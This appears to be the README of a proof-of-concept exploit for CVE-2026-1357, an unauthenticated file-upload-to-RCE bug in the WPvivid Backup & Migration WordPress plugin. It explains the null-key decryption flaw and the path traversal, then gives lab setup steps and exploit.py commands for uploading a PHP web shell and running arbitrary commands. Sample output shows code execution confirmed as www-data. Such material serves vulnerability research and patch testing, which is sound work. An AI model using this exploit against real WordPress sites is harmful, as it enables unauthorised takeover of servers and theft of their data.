Unauthenticated Arbitrary File Upload → Remote Code Execution
| Field | Value |
|---|---|
| CVE | CVE-2026-1357 |
| CVSS | 9.8 (Critical) |
| Plugin | WPvivid Backup & Migration |
| Affected | ≤ 0.9.123 |
| Patched | 0.9.124 |
| Discovered by | Lucas Montes (NiRoX) |
| PoC by | halilkirazkaya |
WPvivid Backup & Migration plugin (≤ 0.9.123) contains a critical vulnerability that allows an unauthenticated attacker to upload arbitrary PHP files to the server, leading to Remote Code Execution (RCE).
The exploit chain combines two bugs:
The plugin handles remote backup transfers via the wpvivid_action=send_to_site hook. When decrypting the session key, openssl_private_decrypt() returns false for a malformed RSA key. The plugin does not check this return value and passes false to phpseclib v1's Crypt_Rijndael, which treats it as a 16-byte null key (\x00 × 16) with CBC mode and null IV.
The name parameter in the decrypted JSON payload is not sanitized. An attacker can use ../ sequences to write a PHP file outside the restricted backup directory into the publicly accessible wp-content/uploads/ directory.
The wpvivid_api_token must have been generated in the plugin settings and must not have expired.
Download and extract WPvivid Backup & Migration v0.9.123 (vulnerable version):
wget https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.123.zip
unzip wpvivid-backuprestore.0.9.123.zipThis will create the wpvivid-backuprestore/ directory which is mounted into the Docker container via docker-compose.yml.
docker compose up -d- Open
http://localhostand complete the WordPress installation. - Go to Plugins → Installed Plugins and activate WPvivid Backup & Migration.
- Go to WPvivid → Settings → Auto-Migration and click Generate to create a Key (this enables the vulnerable code path).
pip install -r requirements.txt# Check vulnerability only (uploads a harmless txt file and verifies MD5)
python3 exploit.py -u http://TARGET-URL -c
# Upload shell and run default command (id)
python3 exploit.py -u http://TARGET-URL -s
# Upload shell and run custom command
python3 exploit.py -u http://TARGET-URL -s "whoami"[*] Target : http://localhost/
[*] Mode : Check
[*] Upload path : ../uploads/h8xq9b3v2z1c.txt
[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response : 200
[+] Body : {"result":"success","op":"finished"}
[+] Verifying at: http://localhost/wp-content/uploads/h8xq9b3v2z1c.txt
[✓] Vulnerability Confirmed! File content matches MD5.
[*] Target : http://localhost/
[*] Mode : Shell
[*] Upload path : ../uploads/wp6h68xnt1tyzbfx8qp3qdbx.php
[*] Verify cmd : id
[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response : 200
[+] Body : {"result":"success","op":"finished"}
[+] Verifying at: http://localhost/wp-content/uploads/wp6h68xnt1tyzbfx8qp3qdbx.php?cmd=id
[✓] RCE Confirmed!
[✓] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
This tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. Use responsibly.